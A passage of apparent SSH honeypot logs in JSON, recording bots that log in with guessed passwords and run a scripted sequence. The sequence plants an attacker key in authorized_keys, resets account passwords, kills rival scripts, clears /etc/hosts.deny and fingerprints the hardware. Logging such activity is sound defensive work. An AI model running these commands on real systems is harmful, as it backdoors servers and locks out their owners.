'{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:17:11.309378+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T05:17:13.182679+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T05:17:13.488917+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T05:17:14.651931+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T05:17:14.961722+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T05:17:16.466624+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T05:17:16.783552+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T05:17:18.821698+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T05:17:19.128664+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T05:17:20.929542+00:00","kind":"output","latency_ms":null,"data":" 05:17:20 up 7 days, 2:07, 0 user, load average: 0.32, 0.37, 0.36\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T05:17:21.239676+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T05:17:23.032614+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T05:17:23.340385+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T05:17:25.230420+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T05:17:25.534162+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T05:17:26.828998+00:00","kind":"output","latency_ms":null,"data":"top - 05:17:26 up 7 days, 2:07, 0 user, load average: 0.32, 0.37, 0.36\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T05:17:27.137520+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T05:17:28.119123+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T05:17:28.428255+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T05:17:29.580386+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T05:17:29.887118+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T05:17:31.824595+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T05:17:32.132012+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T05:17:34.324069+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T05:17:34.630575+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T05:17:36.183920+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Admin123*","method":"password","accepted":true,"tier":"other"}]} {"id":"87329ad8-7e4f-410e-9ea2-1456d75a884d","name":"crystal-upland-manatee","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":52680,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:17:07.814190+00:00","ended_at":"2026-08-27T05:17:09.209022+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"799b8816-7a40-4d8f-9a8f-4190aa1b8a0b","name":"watchful-cunning-shearwater","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":37012,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:17:05.915136+00:00","ended_at":"2026-08-27T05:17:07.203489+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"42c210ed-e913-4c0c-97db-e37a7652d4ca","name":"marine-deft-hoopoe","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":36426,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":322,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:15:29.696246+00:00","ended_at":"2026-08-27T05:15:31.302382+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:15:08.574786+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:15:08.908388+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:15:12.085898+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:15:13.588358+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:15:13.908993+00:00","kind":"input","latency_ms":null,"data":"echo \"root:5oVGnRMfj2xs\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:15:14.226840+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:15:14.548069+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:15:15.852417+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:15:16.061393+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T05:15:16.174234+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T05:15:17.895051+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T05:15:18.231404+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T05:15:20.043343+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T05:15:20.366264+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T05:15:22.548137+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T05:15:22.880048+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T05:15:23.213335+00:00","kind":"output","latency_ms":null,"data":" 05:15:23 up 7 days, 2:05, 0 user, load average: 0.12, 0.09, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T05:15:23.534512+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T05:15:23.811684+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T05:15:24.133248+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T05:15:24.404931+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T05:15:24.735965+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T05:15:25.241216+00:00","kind":"output","latency_ms":null,"data":"top - 05:15:25 up 7 days, 2:05, 0 user, load average: 0.12, 0.09, 0.08\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T05:15:25.563378+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T05:15:26.222183+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T05:15:26.541627+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T05:15:26.863198+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T05:15:27.183660+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T05:15:27.899602+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T05:15:28.221831+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T05:15:29.376956+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T05:15:29.697768+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T05:15:31.206063+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"12345678Qq","method":"password","accepted":true,"tier":"other"}]} {"id":"0d522f30-4908-413c-ad71-4a2cfca16422","name":"merry-ruddy-manatee","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":36448,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:15:11.365487+00:00","ended_at":"2026-08-27T05:15:11.988123+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"0e1c16f5-b5db-497f-84ae-fad8d0cf959b","name":"diligent-stoic-redstart","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":36442,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:15:09.667037+00:00","ended_at":"2026-08-27T05:15:10.748008+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ebbba6e9-486d-4d7b-b56e-70f766572656","name":"vigilant-gleaming-hamster","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":33530,"username":"debian","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":319,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:13:29.602717+00:00","ended_at":"2026-08-27T05:13:31.749725+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2255,"events":[{"seq":1,"at":"2026-08-27T05:13:11.631581+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:13:11.948957+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:13:15.477035+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:13:16.224849+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:13:16.544654+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Pa$$w0rd\\neqSpfESsouCM\\neqSpfESsouCM\"|passwd|bash"},{"seq":6,"at":"2026-08-27T05:13:16.862603+00:00","kind":"input","latency_ms":null,"data":"echo \"Pa$$w0rd\\neqSpfESsouCM\\neqSpfESsouCM\\n\"|passwd"},{"seq":7,"at":"2026-08-27T05:13:17.180343+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:13:17.705665+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:13:18.024800+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T05:13:18.881842+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:13:19.204373+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T05:13:20.227692+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:13:20.550916+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T05:13:21.382083+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T05:13:21.701858+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T05:13:22.240502+00:00","kind":"output","latency_ms":null,"data":" 05:13:22 up 7 days, 2:03, 0 user, load average: 0.08, 0.1, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T05:13:22.563718+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T05:13:22.894799+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T05:13:23.212323+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T05:13:24.113160+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T05:13:24.431356+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T05:13:24.836838+00:00","kind":"output","latency_ms":null,"data":"top - 05:13:24 up 7 days, 2:03, 0 user, load average: 0.08, 0.1, 0.07\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T05:13:25.154946+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T05:13:25.910110+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T05:13:26.227343+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T05:13:26.660947+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T05:13:26.980871+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T05:13:27.588349+00:00","kind":"output","latency_ms":null,"data":"debian"},{"seq":29,"at":"2026-08-27T05:13:27.907264+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T05:13:29.279526+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T05:13:29.603369+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T05:13:31.652397+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"debian","password":"Pa$$w0rd","method":"password","accepted":true,"tier":"other"}]} {"id":"9eaa651b-7117-4cab-b389-4d862220c759","name":"breezy-quartz-petrel","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":33548,"username":"debian","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:13:14.298170+00:00","ended_at":"2026-08-27T05:13:15.384696+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"debian","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c1fc3444-96e4-4e9f-a504-9b6190b5a979","name":"weathered-ancient-ouzel","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":33540,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:13:12.657486+00:00","ended_at":"2026-08-27T05:13:13.632367+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"54797db9-35cd-4ca4-9cb6-71d62cdaf86f","name":"airy-tangled-shelduck","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":42096,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":332,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:11:33.479653+00:00","ended_at":"2026-08-27T05:11:34.974885+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:11:15.730023+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:11:16.062628+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:11:20.248788+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:11:21.009515+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:11:21.342938+00:00","kind":"input","latency_ms":null,"data":"echo \"root:D13QnGAPK4wL\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:11:21.672084+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:11:22.002056+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:11:22.347349+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:11:22.685618+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T05:11:23.563818+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:11:23.899299+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T05:11:25.262511+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:11:25.595261+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T05:11:25.883453+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T05:11:26.213783+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T05:11:27.031902+00:00","kind":"output","latency_ms":null,"data":" 05:11:27 up 7 days, 2:01, 0 user, load average: 0.26, 0.27, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T05:11:27.363598+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T05:11:27.639177+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T05:11:27.971332+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T05:11:28.572065+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T05:11:28.903992+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T05:11:29.434054+00:00","kind":"output","latency_ms":null,"data":"top - 05:11:29 up 7 days, 2:01, 0 user, load average: 0.26, 0.27, 0.18\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T05:11:29.764248+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T05:11:30.359380+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T05:11:30.697135+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T05:11:31.288040+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T05:11:31.618530+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T05:11:32.029188+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T05:11:32.360702+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T05:11:33.152119+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T05:11:33.480669+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T05:11:34.873503+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Ky123456","method":"password","accepted":true,"tier":"other"}]} {"id":"c44ddadf-ce45-4073-bf19-d557ce81aa4d","name":"gloomy-wiry-manatee","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":46956,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:11:18.185574+00:00","ended_at":"2026-08-27T05:11:20.144787+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} 